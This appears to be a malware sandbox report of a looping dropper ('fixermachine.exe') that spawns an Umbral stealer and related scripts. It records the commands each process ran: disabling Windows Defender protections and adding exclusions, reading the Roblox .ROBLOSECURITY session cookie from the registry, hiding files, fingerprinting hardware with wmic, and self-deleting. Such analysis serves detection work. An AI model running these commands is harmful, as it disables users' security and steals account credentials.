        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        26⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        26⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        26⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        26⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4816
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        
        PID:5044
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        26⤵
        
        PID:2876
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        26⤵
        
        PID:2484
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        26⤵
        
        PID:784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4332
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        26⤵
        Detects videocard installed
        
        PID:2964
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        26⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3124
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        27⤵
        
        PID:212
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        27⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3192
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        25⤵
        Checks computer location settings
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        26⤵
        Modifies registry class
        
        PID:1528
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        27⤵
        
        PID:1736
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        28⤵
        
        PID:1376
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        29⤵
        
        PID:704
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        23⤵
        
        PID:2084
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        24⤵
        
        PID:2256
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        24⤵
        Checks computer location settings
        
        PID:2392
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        25⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3468
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        26⤵
        
        PID:5044
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        27⤵
        
        PID:4920
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        28⤵
        
        PID:1588
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        22⤵
        Checks computer location settings
        
        PID:4292
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        23⤵
        
        PID:1044
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        23⤵
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        24⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1308
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        25⤵
        
        PID:1512
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        26⤵
        
        PID:4148
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        27⤵
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        21⤵
        Checks computer location settings
        
        PID:4280
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        22⤵
        
        PID:2396
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        22⤵
        
        PID:2412
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        23⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4956
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        24⤵
        
        PID:3728
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        25⤵
        System Location Discovery: System Language Discovery
        
        PID:228
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        26⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        20⤵
        
        PID:1620
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        21⤵
        
        PID:4524
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        21⤵
        
        PID:3116
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        22⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1780
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        23⤵
        System Location Discovery: System Language Discovery
        
        PID:3236
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        24⤵
        
        PID:4952
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        25⤵
        
        PID:4092
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        19⤵
        Checks computer location settings
        
        PID:4268
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        20⤵
        
        PID:664
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        20⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        21⤵
        Modifies registry class
        
        PID:4092
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        22⤵
        
        PID:4404
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        23⤵
        
        PID:1072
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        24⤵
        
        PID:3108
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        24⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        18⤵
        
        PID:1988
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        19⤵
        
        PID:704
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        19⤵
        Checks computer location settings
        
        PID:3912
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        20⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3192
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        21⤵
        
        PID:2256
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        22⤵
        System Location Discovery: System Language Discovery
        
        PID:2460
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        23⤵
        
        PID:1480
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        17⤵
        
        PID:2412
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        18⤵
        
        PID:4548
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        18⤵
        
        PID:1744
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        19⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3868
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        20⤵
        
        PID:2664
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        21⤵
        
        PID:4008
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        22⤵
        
        PID:2736
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        16⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        17⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        17⤵
        
        PID:4380
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        18⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:324
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        19⤵
        
        PID:1740
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        20⤵
        
        PID:5060
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        21⤵
        
        PID:4240
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        15⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3932
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        16⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        16⤵
        
        PID:4840
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        17⤵
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3096
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        18⤵
        
        PID:4504
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        19⤵
        
        PID:1616
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        20⤵
        
        PID:620
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        14⤵
        Executes dropped EXE
        
        PID:4648
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        15⤵
        Executes dropped EXE
        
        PID:2444
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        15⤵
        Executes dropped EXE
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        16⤵
        Checks computer location settings
        Modifies registry class
        
        PID:548
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        17⤵
        Checks computer location settings
        
        PID:728
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        18⤵
        
        PID:4984
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        19⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        13⤵
        Executes dropped EXE
        
        PID:4920
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        14⤵
        Executes dropped EXE
        
        PID:3156
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        14⤵
        Executes dropped EXE
        
        PID:2100
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        15⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:4804
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        16⤵
        
        PID:3568
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        17⤵
        
        PID:3596
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        18⤵
        
        PID:4916
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        12⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4996
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        13⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1464
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        14⤵
        
        PID:3516
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        15⤵
        
        PID:1860
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        14⤵
        Views/modifies file attributes
        
        PID:1388
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        14⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3252
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
        14⤵
        
        PID:4892
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" computersystem get totalphysicalmemory
        14⤵
        
        PID:1088
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        14⤵
        
        PID:4404
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        14⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3096
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic" path win32_VideoController get name
        14⤵
        Detects videocard installed
        
        PID:4420
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
        14⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2064
        
        C:\Windows\system32\PING.EXE
        
        ping localhost
        15⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1388
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        13⤵
        Executes dropped EXE
        
        PID:4124
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        14⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3108
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        15⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2416
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        16⤵
        System Location Discovery: System Language Discovery
        
        PID:1136
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        17⤵
        Executes dropped EXE
        
        PID:208
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        11⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        12⤵
        Executes dropped EXE
        
        PID:3868
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        12⤵
        Executes dropped EXE
        
        PID:1960
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        13⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:2476
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        14⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:3844
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        15⤵
        
        PID:4244
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        16⤵
        Executes dropped EXE
        
        PID:1072
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        10⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1740
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        11⤵
        Executes dropped EXE
        
        PID:2876
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        11⤵
        Executes dropped EXE
        
        PID:1472
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        12⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4208
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        13⤵
        
        PID:2876
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        14⤵
        System Location Discovery: System Language Discovery
        
        PID:5084
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        15⤵
        Executes dropped EXE
        
        PID:736
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:4672
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        10⤵
        Executes dropped EXE
        
        PID:4536
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        10⤵
        Executes dropped EXE
        
        PID:4840
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        11⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4244
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        12⤵
        
        PID:784
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        13⤵
        System Location Discovery: System Language Discovery
        
        PID:3128
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        14⤵
        Executes dropped EXE
        
        PID:1632
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        8⤵
        Executes dropped EXE
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        9⤵
        Executes dropped EXE
        
        PID:1384
        
        C:\Users\Admin\AppData\Local\Temp\fix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fix.exe"
        9⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\ыв.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ыв.exe"
        10⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:3200
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\hyperBroker\HQYUReo1f8m.vbe"
        11⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:2660
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat" "
        12⤵
        
        PID:4716
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        13⤵
        
        PID:3944
        
        C:\hyperBroker\surrogatehost.exe
        
        "C:\hyperBroker\surrogatehost.exe"
        13⤵
        Executes dropped EXE
        
        PID:396
        
        C:\Users\Admin\AppData\Local\Temp\fixermachine.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fixermachine.exe"
        7⤵
        Executes dropped EXE
        
        PID:944
        
        C:\Users\Admin\AppData\Local\Temp\Umbral.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        8⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:792
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        9⤵
        
        PID:1872
        
        C:\Windows\SYSTEM32\attrib.exe
        
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
        9⤵
        Views/modifies file attributes
        
        PID:944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2544
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:448
        
        C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" os get Caption
